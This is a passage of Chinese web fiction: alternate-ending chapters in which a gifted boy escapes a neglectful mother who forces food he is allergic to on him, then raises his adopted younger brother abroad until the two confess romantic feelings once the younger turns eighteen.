当他第一次告诉母亲自己麸质过敏的时候,母子二人之间就曾经发生过类似的对白。 像那天一样。母亲依旧是不相信他没办法摄入面条。 也像那天一样。 母亲简单粗暴地将他的抗拒归结于孩子的挑食与叛逆,于是选择用大人的权威来镇压他。 后来那件事的结果是一连五天。饭桌上的食物都只有面。 祁钊从那天开始选择沉默,从此知道自己不可能在母亲那里得到任何支持。 但今天却不一样。 祁钊没办法选择沉默。是因为另一个人选择了不沉默。 小孩儿今年才六岁,却愿意为了他主动在饭桌上反抗母亲。没有任何人比祁钊明白岑康宁的勇敢。而且祁钊其实从来没有告诉过他自己不能吃面。 是岑康宁自己偷偷观察出来的。 说来也可笑,口口声声说着爱他,一切为了他好的亲生父母整整十二年都没发现的事情,一个六岁的小孩子,一个月就发现了。甚至祁钊不是没有主动提起过这件事。只不过是都被忽略了罢了。 正是因为如此,岑康宁的这份心意让祁钊无论如何都没办法沉默下去。 “没有任何人欺负你,宁宁只是说实话。” “宁宁?” 刘海俐精准地捕捉到了这句话里的重点:“你叫他宁宁?” 祁钊定定地看向母亲,并不觉得自己有什么地方说错。 岑康宁现在是他的弟弟。他叫他宁宁,有错吗?刘海俐却显得大为震惊。 "我怎么不知道你们俩什么时候关系变得那么好?祁钊,你是真把他当弟弟了是不是?" “是。”祁钊回答道。 "……好,好好好。"刘海俐一连说了好几个好字,她盯着两个小孩儿紧紧拉在一起的手,深吸一口气道: "行,你们嫌弃我做的面是吧?"“那就都别吃了。” 说着她把二人面前的碗全部端走。一边端走一边宣布: “今天不吃,以后也别想吃了。” 岑康宁当时没有反应过来这句话是什么意思,直到到了晚上的开饭时间,厨房里依旧冷冷清清。 他忽然意识到:“今晚不会没有饭了吧?”祁钊倒是早有预料,云淡风轻地点了点头:“嗯。”岑康宁立刻有些慌:“啊,哥哥,我……”他觉得自己好像做错了事情。所以才被阿姨惩罚。 可是,他真的不知道自己做错了什么地方。他只是不想让哥哥生病难受而已。 有错吗?祁钊轻轻地摸着岑康宁头顶柔软的黑发:“饿不饿?”岑康宁刚想点头,立刻又摇头:“不饿。” 他一点儿都不饿的! 但到底是没控制住身体的反应,肚子叽里咕噜叫了起来。中午那顿饭就因为争吵后来没怎么吃,现在又过了五六个小时,正是长身体的年纪,怎么可能不饿?岑康宁红了脸,害羞地低下头。祁钊见到小孩儿这幅样子轻笑了笑:"走,今晚带你出门吃。" 后来两人来到了岑康宁最喜欢的麦当劳。 祁钊给岑康宁点了炸鸡腿跟炸薯条,热气腾腾的炸薯条配上冰冰凉凉的冰可乐,别提有多香。 岑康宁现在一点儿也不觉得家里没有晚饭是什么大不了的事情了。 可是…… 填饱肚子以后,他看着哥哥面前没怎么动的鸡腿,咧开的唇角一点儿一点地收敛了回去,脸颊上的小梨涡也消失不见。 "哥哥,我是不是做错事情了?"他想到中午餐桌上发生的事情,想到今天晚上空空如也的厨房,心脏紧张地揪成一团。 虽然他并不觉得自己有什么错。可是如果这件事影响到了哥哥跟阿姨的感情,那他就犯大错了。 岑康宁自己没有跟妈妈接触过太多。但他也知道,无论多大的小孩子,都最喜欢妈妈。 祁钊却摇头:“你没错,宁宁。” “那哥哥你为什么不吃东西?是不开心吗?” 祁钊说:“没有不开心,我只是在思考一个很难的问题。”岑康宁不由得睁大了眼睛:“有那么难?连哥哥也不会?” “是的。”祁钊点头承认。 这个问题他从一岁以后思考至今,都没能得出答案。 “哥哥,要不你告诉我吧,我来帮你。”岑康宁主动举手请缨道。 “你?”祁钊挑了挑眉尾,感到意外:“你怎么帮我?” 岑康宁很有信心地说:“我现在会十以内的加减法了,只要是十以内的,我都可以帮你!”祁钊愣了一下后没忍住被逗笑,沉重的心情不由得明媚了几分。 听到他的笑声以后岑康宁也愣了一下,过了一会儿他忽然不敢相信地问:“哥哥,你的问题该不会是乘法吧?”“是的。”祁钊故意道。 “那,那……”小孩儿结巴了好一会儿,终于下定决心,说:“那我明天去学校帮你问温老师好不好?” 温老师是岑康宁的班主任。教数学,平时很凶,是岑康宁最怕的老师没有之一。 但如果是为了哥哥的话,岑康宁愿意主动去问温老师。 祁钊看着小孩儿纠结地快要皱成一团的脸,终于不忍心再继续逗他,轻轻捏了捏他最近长了点儿肉的脸颊肉,说: “不用,哥哥逗你的,不是乘法问题。” “不是乘法,太好了!”岑康宁黯淡的眼睛一下子又重新亮了起来,兴奋地说:“那哥哥你快告诉我,是什么问题?” 祁钊把他抱在自己怀里,轻声告诉他自己已经想明白了答案。 岑康宁有点儿失落。因为自己并没有帮上哥哥。 可转念又一想,哥哥那么聪明,这个世界上怎么会有难题能难得住哥哥呢? 想到这儿哥宝弟就完全不失落了。并继续开始为哥哥而自豪。 “我哥哥是最棒的!”他宣布:“这个世界上没有任何难题都够难得倒他。” 他却不知道,自己简简单单的几句话,彻底颠覆了祁钊长达十二年的认知。 — 在外人眼里祁钊是幸运的。他出生在一个幸福又富有的家庭。 母亲温柔可亲,父亲年少有为,爷爷受人尊敬。而作为这个家中唯一的小孩儿,祁钊享受了来自家庭的一切关爱与资源,所以才能青出于蓝胜于蓝,小小年纪就如此 出类拔萃。 但只有祁钊自己知道。在这样的家里他过得并不幸福。 哪怕母亲口口声声说着爱他,为了他好,甚至为了更好的照顾他辞去 了工作;哪怕父亲在外生意做得风生水起,家里的吃穿用度越来越好,别墅越来越多。可祁钊仍然不觉得开心。 有时候他宁愿一个人把自己关在房间里看一整天的文献,做一整天的数学题,也不愿意跟父母呆在一起。 为什么呢?他一直找不到答案。 直到今天的饭桌上,他看着勇敢为自己挺身而出的岑康宁,隐隐约约有了答案。 而到了方才。听到小孩儿要为了他去问自己最害怕的温老师时。答案愈加清晰。 祁钊终于明白了自己不适的根源。 那是因为一直以来,他的父母口中所谓的爱,其实都是虚假的。 母亲说爱他。可是不管不顾他的安全。强行要他吃会过敏的面。 父亲也说爱他。但一个月里他与父亲见面一次都算是多。 甚至,刘海俐与祁未言分别都在他的面前表达过,如果不是他,两人早就离婚的想法。 祁钊一直不明白,为什么不离婚是为了他。难道他有阻止两人不离婚吗? 好像从未有过吧。 一直以来,对于两人离婚他的态度分明是,尊重你们的想法,请尽快离婚。 但每一次。两人无法离婚的根源,还是会被归结在祁钊身上。祁钊从前不明白,但今天他明白了。其实只是两个大人在撒谎而已。 为了撇清自己身上的责任,所以撒谎;为了营造出爱孩子的假象,所以一次次地说将所有的行为说成是为了他好,还是在撒谎。但实际上他们并不爱他。他们只爱自己。 真正爱他的话,又怎么可能愿意让他受伤呢?真正的爱应该像是宁宁一样,会担心他,心疼他,会尽自己所有的努力帮助他。 可笑的是,这件事他竟然是从一个六岁的小孩儿身上感受到的。 两个加起来快八十岁的大人。不如一个小孩子。 不过没关系。只要明白了就好,多晚都来得及。 麦当劳餐厅里,十二岁的祁钊看着自己怀里安稳坐着,一脸天真无邪的岑康宁,心中默默地做出了一个后来影响到他一生的决定。 103、if线6 次日的中午。 祁钊的面前摆着满满当当一碗面,至于岑康宁面前,却又是一碗米饭。 刘海俐让阿姨做好午饭,好整以暇地坐在了饭桌老位置上。 也不动筷子,就等着两个小的先动。 那副架势仿佛就是如果两个小的不吃今天的中午饭,今天就别都想过去一样。 然而,刘海俐本以为会像祁钊会像过去一样默默地妥协,却不成想,中午饭时间一到,祁钊走过来看了自己座位上的面条一眼,马上就转身走了。 刘海俐一下子急了,叫住他:"祁钊,你干什么去!" 祁钊面无表情的说:“我去吃饭。”"饭就在桌上,你去哪里吃饭?"刘海俐盯着自己十二岁的孩子,厉声道。 祁钊:“我不吃面。”刘海俐强调:“你吃。” “我不吃。”祁钊再次反驳:“我对面食过敏,五岁的时候我就告诉过你。” 刘海俐依然很固执:“小孩子哪会过敏?” 祁钊站在原地,定定地看了母亲一眼,不无意外在母亲的眼里没有发现一丝一毫的动摇。 既然如此—— “好,我吃。”祁钊想到他方才拨通的电话,垂眸道。 刘海俐很是满意:“这才对,你不要乱听岑康宁那个小孩儿讲,他就是个没爸没妈的孩子,他懂什么?妈告诉你………祁钊坐在饭桌上,一句话也不吭。默默地将那一碗面条吃了个干净。 面条进入身体的瞬间,他的皮肤开始变得灼烫,一些身体部位开始发痒。但祁钊却似乎毫无所觉。只一味的继续吃着眼前的面。 甚至在吃完一碗以后,镇定自若地问刘海俐:“还让我吃吗?” 刘海俐没有意识到这句话背后的深意,只说当然。她立刻又给祁钊盛了一整碗。 祁钊依然没说什么,只安静地吃着眼前的面,仿佛一个无比听话乖巧的孩子。 直到他的鼻血冒了出来。刘海俐震惊地睁大了眼睛。 — 后来的事情祁钊已经记不真切。只记得自己似乎是连意识都已经模糊了。 母亲惊慌失措,整个人僵在原地,而原本被祁钊安排在房间里学习,告诫无论发生什么事都不能跑出来的岑康宁,不听话地跑了出来,一边哭,一边拨通了120。救护车来的很快。爷爷也来的很快。 出了急救室以后祁钊终于可以睁开眼皮,醒来以后他第一句话就是对爷爷说: “爷爷,现在你相信我的话了吗?”彼时还算硬朗的祁耿看了眼在病床上差点没气儿的孙子,眉头紧皱,无奈地叹了口气。昨天他接到祁钊电话。电话里祁钊请他帮忙让父母离婚,并要把自己的抚养权落在自己名下。 祁耿下意识想要拒绝:“好好的要你爸妈离婚干什么?” 祁钊说:"他们俩早就没有感情。" 祁耿平日里不太关心儿女的婚姻状况,不过对儿子的婚姻状态却是也有所耳闻,更知道夫妻俩大概率是为了这个孩子才一直勉强维系着婚姻。 但作为长辈。 他仍是不大愿意插手子女的婚姻。 可祁钊语气冷静地告诉他:“爷爷,我没办法在这个家里继续生活下去。” 祁耿起先并不相信祁钊所说的话。哪怕这个孩子有着超乎常人的聪明。 一直以来,他都认为无论夫妻俩的感情如何,但对这个唯一的孩子至少是真心的。 毕竟是亲生的儿子。血脉相连。 虎毒尚且不食子,他怎么都想象不到,这样的家庭,两人唯一的孩子竟然能在家里受苦。然而当祁钊被送进急救室。医生告诉他祁钊严重过敏,甚至有生命危险的时候。 终于,他看着急救室外两个一脸心虚的大人,明白了祁钊并没有在撒谎。 “他过敏,为什么还要给他吃面?” 面对祁耿的质问,刘海俐低下头,下意识地矢口否认:“我,我不知道……” 但急救室外。 另一个小孩子却哭着说:“阿姨你撒谎,我昨天明明告诉你了,呜呜……哥哥……” 刘海俐脸上挂不住,脸色难看地就要让小孩儿闭嘴。 但那小朋友完全不怕,就那么倔强地站在原地。 祁耿心里有了数,又看向自己那个姗姗来迟的儿子,将小孩儿护在身后的同时,问他:“那你呢?你又干什么去了?” "分院那边儿出了点儿事要开会,我刚刚在开会。"“我不是说刚刚,我是说以前你干什么去了?!”祁耿气得不轻,一拐杖杵在祁未言身上。 “非要让孩子住进ICU,你们俩个才肯关心孩子是不是?你们知不知道昨天小钊给我打电话,说要你们离婚,把他的抚养权落在我这里!”“这怎么行呢!”刘海俐脱口而出。 祁未言也不赞同,吡牙捂着自己刚刚被拐杖杵到的地方,说:“对啊爸,不行的,小钊又不是无父无母,怎么能让您来操心?” 祁耿反问两人:“那你们告诉我,要是小钊的抚养权落在你们手里,你们能照顾好他吗?” 经常加班出差的祁未言当场沉默不语。 而刘海俐虽说还想争取,但眼下祁钊还在急救室没出来,她就算是再怎么厚脸皮,也不敢在祁耿面前夸下海口说自己能照顾的好祁钊,便也只能沉默。祁耿见到两个大人这幅表现,终于心里最后一点儿念头也逐渐熄灭了。 最终他深吸了一口气后,不容置喙地拍板:“离婚,抚养权归我,没得商量。” 祁未言与刘海俐的脸上同时露出绝望的神情。 毕竟谁都知道,虽然老爷子看起来慈眉善目,是这个家里最好说话的人。 但实际上,能坐在这个位置上一坐就是这么多年。 怎么可能好说话? 老爷子平时不做决定,但一做决定就绝对没办法动摇,而显然,在这个家里,无论是祁未言也好刘海俐也罢,通通都无法撼动老爷子的权威。 着急之下祁未言倒是想出了个办法来,恳求道:“爸,我们俩离婚倒是没什么,反正我们早就没了感情。但小宁这孩子是我不久前才领养的,我们要是离婚了,小钊跟您,小宁跟谁?” 怎知祁耿冷冷瞥他一眼:“你以为小钊没想过这点?告诉你,小钊连这一点都想好了。他要我帮忙把小宁的户口落在柳旭的名下。” 柳旭是祁耿的学生。 一直跟祁耿保持着联系,跟祁钊的关系也不错,或者换句话说是非常欣赏祁钊。 祁耿得知祁钊连这一点都想好了以后也非常惊讶,问他:“你问没问过柳叔叔的意见?” 结果祁钊说,问过了。 无子无女的柳旭欣然同意。岑康宁自己也同意。 祁耿那时才意识到,这个年仅12岁的孙子绝非临时起意找他告状,而是深思熟虑,做好了一切准备,才请他出手帮忙。 当然,后续是把自己折腾进了ICU。这又是另一回事。 祁耿不是不生祁钊的气,在他看来这孩子也太胆大妄为了,为了达成自己的目的简直不择手段。 他到底知不知道过敏有多危险?知不知道自己距离死亡可能只差一线? 可生气之余,祁耿也有心疼。 到底是在这个家受了多少委屈,才让这个过分聪慧的孩子宁肯冒着生命危险,也要脱离。 “你想好了,开弓没有回头箭。” “想好了。” 病床上的祁钊牵着岑康宁颤抖的手,轻声道。 他当然想好了。 当他坐在麦当劳里做出决定的那一刻就想好了,所以他才会拨通爷爷的电话。 不过事情可以进展的这么顺利。倒是出乎了祁钊的意料。 在祁钊的计划中,他可能需要一段很长的时间才能去说服爷爷站在自己这边。 怎知第二天,机会竟然就那么摆在了他的眼前。 在吃下那碗面条的时候祁钊其实心中不是没有过妄想,他有想过会不会母亲发现了他的异样,叫停了这一切。但很遗憾的是,没有。祁钊不得不再度确认原来母亲并不爱自己这个事实。 幸好他已经在经年累月的压抑中学会了不伤心,也幸好,这次他的身边,有了宁宁。 在他昏倒的时候,是宁宁,哪怕吓到快晕过去,也坚强地拿出手机拨打了120。 多亏了宁宁准确地在电话里说出别墅的所在地。 所以祁钊才能没有任何耽误的接受治疗,很快痊愈出院。 再后来在法院,母亲临时改变主意不愿意放弃抚养权的时候,也是宁宁,主动站出来举手作证。 一个小孩子的证言也许没有那么可信。 但是当岑康宁清晰无比地说出无数件小事的时候,肉眼可见的,法官看向刘海俐的眼神改变了几分。最后在多方的证供下。祁钊的抚养权成功落在了祁耿的名下。 而这件事所带来的最直接影响就是,一年以后的大学转专业申请中,祁钊果断选择了天体物理,这一次,没有任何人出来阻拦。当然了。要想让他的父母真正接受这件事并不容易。 祁未言倒还好,在反复争取了一段时间后意识到祁钊去意已决后,便选择了放弃。 刘海俐却根本没办法接受儿子的不受掌控。 她想了许多个办法。包括但不限于在法庭上改口,在祁钊上下学的必经之路拦他,甚至有一次,她把自己同样“折腾”进了医院。 但即使这样,祁钊却并没有因此而改变他的主意。久而久之,刘海俐也终于累了。 祁钊十四岁那年,也就是刘海俐与祁未言离婚的第二年,她也步入了第二段婚姻,并且很快拥有了下一个孩子。 有了新的家庭,新的孩子。她的目光总算不再落在祁钊身上。 而祁钊也终于可以喘一口气,全身心的投入到自己的事业之中,并且在两年后,在爷爷的帮助下带着岑康宁一起来到国外留学。祁钊在斯坦福念天体物理的硕士,岑康宁就在不远处念小学。 一开始岑康宁还因为英语不好有些不太适应,但小孩子接受能力很强,再加上祁钊每天都给他补课。 很快在耳濡目染之下。 岑康宁迅速融入了当地的学生中,能够说一口非常流利的英语。 每天祁钊上完课就去接岑康宁,在斯坦福食堂吃饭,然后把他带到课题组,让他在自己的工位上写作业。 整个天体物理系都知道。 系里来了个小天才,才16岁就开始做博士生才能做的课题。 同样大家也都知道,这位小天才身边儿总有个跟屁虫漂亮弟弟,干什么都黏着哥哥。 从研究生,到博士,再到助理教授。黏在哥哥身后的小孩儿慢慢地长大,慢慢长成了一个身高180的小帅哥。 身高,长相,气质,什么都变了,唯独没变的就是仍旧喜欢黏着他哥。 实在是太黏人了。干什么都要跟哥哥一起。 以至于有一天晚上,忽然他说想要分床睡的时候,祁钊以为自己听错了。 “你说什么?” “我说,我想睡隔壁。” 今年18岁,刚刚入学动物医学专业的斯坦福大一学生岑康宁眼神认真,如是重复道。 祁钊沉默了一会儿,偏开视线,继续铺床:“不行。” 岑康宁登时急了:“为什么不行?哥,我都18岁了,这么大的人了,就不能自己睡一天吗?” “今天晚上要下雨。” 祁钊一边铺床一边说:“你确定你要今天睡隔壁?” 这事儿说来也怪祁钊,算是他惯出来的毛病。小孩儿怕打雷下雨再正常不过,迟早要让小孩子慢慢适应。 但在祁钊这里,却完全不存在什么适应不适应这回事。岑康宁怕,那就陪着他好了。 反正兄弟俩一直都睡在一起。打雷下雨的时候,祁钊就把他抱在怀里拍背,拍一会儿,岑康宁就乖乖睡着了。 从小到大但凡是下雨都这么过来。所以祁钊理所当然以为今晚也不例外。 可也许是孩子迟早有一天要长大,也许是今年18岁的岑康宁终于迎来迟到的叛逆期。 哪怕是知道了今晚要下雨。岑康宁也坚持: “不,我就要自己睡。 104、if线7 幸好他哥没有追问原因。 五分钟后。 空荡荡的次卧,岑康宁抱着自己的枕头,看着关上的大门失神地想。 岑康宁承认,在看到他哥眼神里一闪而过的失落时,他的内心不是没有内疚。 然而只要一想到今晚睡在一起时将要发生的画面。他整个人就像是被火点着了一般。 改变大约是从两年前开始的。那一年,岑康宁16岁。 某个清晨他睁开眼,意外地发现了跟平日里不太一样的自己。 岑康宁起初很惊恐。 但很快,跟他同床共枕的他哥发现了这一点,立刻用充分且科学的生理知识安慰了他。 意识到自己不是生病,也不是变态的岑康宁感到欣慰的同时,却在看着祁钊的脸时隐隐有一丝心虚。 此时的他还不知道这种心虚感意味着什么。 直到两个月后,他再度做梦,那天清晨的事情重演,而这一次,他清晰地记住了梦中的人脸。 怎么会是他哥呢? 为此他苦恼了很久。甚至因为这件事而感到愧疚,经常谴责自己。 但逐渐地,在意识到自己对祁钊的心思不在单纯的这两年里,岑康宁发现,是他哥可太正常了,不是才不正常。 且不说从六岁开始祁钊把自己从福利院领走,彻底改变了他的命运。 只单说他哥的个人条件。 喜欢上他不是像呼吸一样自然的事情吗? 岑康宁至今记得他第二次发现自己对他哥有妄想时的前一天,那天祁钊刚健身完,洗完澡以后身上挂着片浴巾就从浴室走出来了。当时的画面对还是少年的岑康宁造成了很大的冲击。 他甚至一整晚都没怎么睡好,只要一闭上眼,就是他哥上半身精壮的肌肉线条。 那段时间岑康宁过得煎熬又甜蜜。 煎熬在于他觉得他哥对他这么好,把他几乎当亲弟弟一样宠了这么多年,哪怕是在国外留学也时时刻刻把他带在身边。 可他却狼心狗肺。 惦记起了他哥。 甜蜜则在于,当他意识到他喜欢上他哥以后,生活中的每一天,每一个细节都变成了糖。 他哥接他放学的时候。 他赖床不想起他哥给他在床上洗脸的时候。 许许多多个甜蜜的瞬间汇聚成了这两年。 可两年后,哪怕岑康宁再不舍得,他也知道自己该离祁钊远点儿了。 因为最近一段时间他发现。自己愈发无法控制住身体的反应。 也许是青春期荷尔蒙的缘故,他稍微靠近一点祁钊都会觉得亢奋,更别提晚上睡觉,偶尔祁钊还会抱着他。 一想到这幅画面。岑康宁就心头警铃大作。 不行,他绝对不能跟他哥晚上一起睡觉了。 为了能让自己的小秘密保密的更久一点,也为了让祁钊不生气,不远离自己。岑康宁决定,不止今天,以后他都要跟祁钊分床睡了。反正他今年都18岁了。祁钊也差不多25岁。 两个成年人,分床睡不是很正常吗? 这样想着,岑康宁往后猛地一靠,就躺在了冰冷的次卧大床上,打算休息。 然而平时睡觉的时间早就到了。今晚却睡意全无。 外头开始淅淅沥沥的下雨,每到这个季节雨水总是很多,下的人心烦意乱。 岑康宁睁着眼始终无法入睡,心情烦躁,无数次想要推开门走向隔壁。 最后自暴自弃的他甚至爬起了床。深夜一点开始看起了自己的专业课视频。 可哪怕是平时最催眠的动医基础,今天也没办法让他产生半点儿困意。 百般无奈下。他打开了推特,开始百无聊赖的上网消磨时间。 结果刚一打开便晴天霹雳,两分钟后,岑康宁气势汹汹地推开了隔壁房门。 "祁钊你明天有约会不告诉我?" 叫大名而不是叫哥。证明岑康宁这次真的很生气。 两人相依为命的十二年间,岑康宁叫祁钊大名的次数不超过五。 其中还有一次是误会他哥不要自己了。 但祁钊不明就里:“怎么了?” 房间里灯亮着。祁钊坐在书桌前看书,床上空空荡荡,显然也半点没有睡意。 意识到这一点后岑康宁心里多少好受了点儿,但还是生气:“琳娜在网上发你明天要跟她约会了,是真的还是假的?你知不知道明天是情人节?” 琳娜是斯坦福天体物理系的一位博后。长相非常明媚漂亮,性格也活泼开朗。 岑康宁曾经在祁钊的办公室见到过她一次,当时岑康宁就觉得,这位美女看他哥的表情不太对劲。但那时候岑康宁没有过多在意。毕竟这么多年来,对他哥有兴趣的男男女女可太多了。 几乎每一年,祁钊都被选为斯坦福最受欢迎的约会对象。 可这么多年祁钊也确实谁都没回应。一直醉心科研。 岑康宁本以为今年一定也是这样,结果他刚打开推特就如遭雷击。 琳娜要跟祁钊约会了。还是在情人节。 这是什么时候定下来的事情,他为什么不知道? 他哥怎么想的?他哥也同意了吗? 以后琳娜要跟他哥在一起了?许许多多个想法忽然爆炸式的出现在他的脑子里,岑康宁再也无法承受得了这种冲击,冲动之下选择夺门而入。 然而,面对岑康宁有如火山爆发一样的责问。祁钊的表情却显得有些……茫然。 “琳娜?”祁钊皱了皱眉心:“她明天不是要跟我一起参加会议吗?” 岑康宁:“…….”“会议?” “是的,第三十五届斯坦福天体物理与空间科学会议,我受邀出席,琳娜是会议助理。” “…我不信!”岑康宁依然是气鼓鼓的样子,桃花眼里满是遮都遮不住的嫉妒。 祁钊觉得他这幅吃醋的模样实在好笑,忍不住捏了捏他气鼓鼓的脸颊,这才打开自己的手机。 “自己看会议通知。” 岑康宁一把夺过手机,开始仔细钻研。 气头上的他完全没想过半点儿给祁钊保留隐私的想法,看完会议通知后,直接二话不说当着祁钊的面,又点开祁钊跟琳娜的消息记录。直到确认琳娜跟祁钊加上好友到现在真的聊天不超过三句,他才悻悻地放下手机。 可问题又来了。 既然没有约会,为什么琳娜会这么说? “你给她暗示了?” “没有。” 祁钊目光定定落在岑康宁身上,沉声:“你不了解我吗?” 岑康宁当然了解,可就是因为了解,所以他才害怕。 害怕有一天他哥对自己的好出现在别人身上。害怕有一天他哥不要他了。 当然他知道祁钊绝对不是那种有了老婆就不要弟弟的人,可是…… 岑康宁不甘心地咬着唇,忽然觉得有一丝委屈。 “怎么了?” 祁钊敏锐地发觉岑康宁情绪的不对劲。 刚刚还气势汹汹跑来兴师问罪的人,一瞬间就低落了下去,垂头丧气好像一颗蔫了的小白菜。 可误会不是已经解开了吗? "哥……我发现我真的好自私。" 半晌,岑康宁痛苦地道。 祁钊心沉了下去,他果断把人拉到自己怀里,抱住:“到底遇到什么事了?”熟悉的柠檬海盐气息扑面而来。岑康宁感到又开心又难过。 一方面,意识到他哥不会跟琳娜约会以后,他真的是打从心眼里觉得开心。 可另一方面,他发现自己根本没办法放下祁钊。这不是分不分床的问题。而是他根本不可能接受得了。 意识到这个事实以后岑康宁感到理智与感情在反复拉扯,他很痛苦: “我发现我没办法接受你跟其他人在一起,怎么办?” “不怎么办。”祁钊完全没把这件事当做一个问题:“因为我根本不会跟其他人在一起。” 岑康宁笑了:“骗人,我又不是小孩儿了,我才不信。”“所以你就是因为这件事要跟我分床睡?”祁钊后知后觉。 岑康宁摇摇头,说:“不是因为这件事,但迟早也会因为这件事,毕竟……” 毕竟今年他哥已经25岁了。 直到自己也18岁步入成年以后,岑康宁才意识到这件事意味着什么。 意味着曾经他惊慌失措的那个早上。祁钊可能早就有过,只是一直没被岑康宁发现。 更意味着不久后的将来,祁钊迟早会跟另一个人在一起。他会跟抱着他一起睡。会叫他起床。会亲他,会跟他做一些连岑康宁都不曾有过的亲密举动,还会…… 想到那些画面。岑康宁快要崩溃了。 只是想想而已他都觉得无法接受,更何况将来的某一天那些事真的会出现。 所以为什么他是弟弟呢? 为什么那个人不是自己? 生平第一次,岑康宁开始懊悔十二年前祁钊在福利院挑选了自己。 可转念又一想,如果不是当时成为了他的弟弟。也许自己这辈子都没办法认识祁钊吧? 他会在福利院长大,六岁以后去一所最普通的小学,也许上完义务教育就毕业,开始打工。 又怎么可能像现在一样。在最顶尖的学校衣食无忧的上着大学? 越是想越是觉得痛苦,岑康宁终于无法承受的了这种痛苦,即将在崩溃的边缘。 然而对于他的痛苦,祁钊却这样回答: “没有迟早。” “什么意思?” “不懂吗?那我说的更明白一点。”祁钊将怀里的少年抱起,轻轻放在床上,低头认真地看着他:"意思就是我以后也不会跟其他人在一起,所以你根本不用担心。"“可是……” “没有可是,你不相信我?”祁钊问。 "信,我信你,哥。"岑康宁连忙道。他怎么可能不信祁钊呢?从小到大,祁钊答应过他的事情没有一件不兑现的。他答应他带他一起走。于是来国外上大学也带着他。 他答应成为小豆豆的守护天使,所以把小豆豆治好以后,后来又养了小豆豆整整十年。 两年前小豆豆才寿终正寝。在睡梦中离去。 所以岑康宁怎么可能不信他? “但是哥,这件事是不一样的。每个人都会有自己喜欢的人,也迟早会走向家庭,我不想要你因为我的缘故失去属于自己的幸福,我没办法接受自己这么自私!”是的。这就是问题的关键。 岑康宁终于意识到自己为什么痛苦,因为他知道,只要他想,他哥一定可以为了他而终身不谈恋爱不找对象。 但是他又怎么能这么自私呢? 从小到大为了照顾他,祁钊付出了多少他是最了解的。正是因为如此,现在岑康宁长大了,他也想要祁钊找到自己的幸福,而不是一辈子都只是岑康宁的哥哥。可岑康宁绝没有想到的是,他最亲爱的哥哥会这么回答自己—— “有没有一种可能,我早就有喜欢的人了,也早就有家了?” 长达数十分钟的沉默后,一片黑暗与寂静的卧室中,岑康宁磨着后槽牙,听到自己不甘心又嫉妒的声音: “是谁?”到底是那个王八蛋这么好运?居然能被他哥喜欢? 黑暗中,祁钊轻笑了一声,没有正面回答岑康宁的问题,只是把人抱紧,问他: "宁宁,明天晚上想去哪里?" “你先告诉我你喜欢谁,等等……明天你不是要开会?” “会议下午就结束。” “那我要去那家情人餐厅,还要去做手工巧克力。” “好。” "我还要你发ins,告诉所有人你情人节是跟我过的。" “好,手机给你,自己发。” "……所以哥你到底喜欢谁?就不能今晚告诉我吗?" 温暖舒适的被窝里,早就到了睡觉时间结果到现在还没能入睡的祁钊终于忍不住将一直捣乱撒娇的少年按住,亲在了他的唇上。 下一秒,某人不闹了。世界也终于重新变得安静。 不过这天晚上注定将是一个不眠夜。 勉强安静了半个小时以后,岑康宁就忍不住再次发出了声音。 "哥……你刚刚,是亲我了吗?" 语气里带着强烈的不敢置信。 不难想象的出这半个小时里他到底是怎么过的。 祁钊也没睡,哑着嗓子:"是,怕吗?" “不怕!” 岑康宁立刻说,但说完以后脸后知后觉变得滚烫起来,他讷讷道:“就是,我不知道……” 后面的话岑康宁没有说出口。 但祁钊明白。 无非就是这小孩儿还在怀疑,哪怕是亲了,也怀疑。 倒也不怪岑康宁。毕竟第一次意识到这件事的时候,祁钊也怀疑过自己。 可渐渐地,随着时间一天一天的流逝,那种特别的感情愈发难以忽略起来。 有一天祁钊也同岑康宁一样。开始确认了自己的心意。 “不用怀疑,是你想的那个意思。” “……” 岑康宁整个人僵住。 好一会儿,他才终于从不敢置信中回过神来:“真的,哥?什么时候的事情?不行,我不要你这么模糊的回答我,我要听你亲口说出来——”随后啪地一声。岑康宁直接打开灯,整个人从床上坐了起来。 从他神采奕奕的眼神中祁钊意识到,今晚不说个清楚明白,恐怕是一点儿都别想睡了。 可又能怎么办呢?这脾气还不是他自己惯出来的。 "你确定要在这个时间点说?" “我确定。”岑康宁十分坚持。 “好,那我告诉你,我的确是喜欢你。不是哥哥对弟弟那种单纯的喜欢。”祁钊道。 岑康宁听到自己心脏咯噔一声响,巨大的惊喜降临时,反而觉得一切都很不真实。"什么时候开始的事情?你怎么不早点告诉我?"“没有办法告诉你具体的时间。” 只是从某一天开始,祁钊忽然就觉得,总是跟在自己身后很小很乖的弟弟好像不太一样了。 什么时候开始他长大呢?又是什么时候开始,他的身边开始围着一些男男女女? 跟岑康宁开窍不太一样的点在于,祁钊意识到自己的心意起源于他那无法言说的占有欲。 某一天开始他意识到自己根本不能接受其他人出现在宁宁身边,更遑论有另外一个人会跟宁宁亲密。 祁钊起先是唾弃自己的。就像岑康宁唾弃自己一样。 甚至他唾弃自己远比岑康宁还要更为严重,毕竟意识到自己对弟弟产生了不一样感情的时候,岑康宁其实还没完全成年。 很长一段时间里祁钊处于极度的割裂状态中。 一方面他无法控制自己的感情。 另一方面,他对喜欢上弟弟的自己感到十分厌恶。 好在他最终度过了那一段煎熬时间,并且认清楚了自己的感情。 只是在祁钊原本的打算里,他还要伪装哥哥这个身份直到岑康宁二十五岁的。 结果才刚满十八岁。就被迫说出了口。 对此祁钊感到颇为懊恼,因为在他眼里,哪怕已经长到一米八,可宁宁好像还是那个什么都不懂站在他身后需要保护照顾的孩子。可他却也有不得不改变主意的理由。 毕竟—— “有人都要跟我分床睡了,不改变主意,难道要等着他离家出走吗?” “…….” 岑康宁反应了好一会儿终于通红着脸替自己抗辩:"才不会离家出走!" “那你告诉我分床睡的原因到底是什么?” 岑康宁支支吾吾说不出话来,干脆开始耍赖,整个人往他哥身上一倒,说:“不行,我不告诉你,我还要你再仔细说说到底什么时候开始喜欢我的?不说清楚今晚就别想睡了,你快点告诉我嘛哥哥……” 夜色深了。岑康宁毫无困意。 但毋庸置疑的是,就算他今晚一整晚都没睡着,失眠的理由也再不会是担心祁钊跟别人在一起。 因为他很清楚。 把他从福利院里接了出来,带他千里迢迢来美国上学,一直照顾他,保护他的他哥不会骗他。 说了喜欢他,就一辈子只会喜欢他,不可能再变。 至于剩下的事,再说吧~ 日子还长。生命正好。 只要他跟祁钊在一起,没有其他人,再多的困难与问题,他也无惧。 (if线完)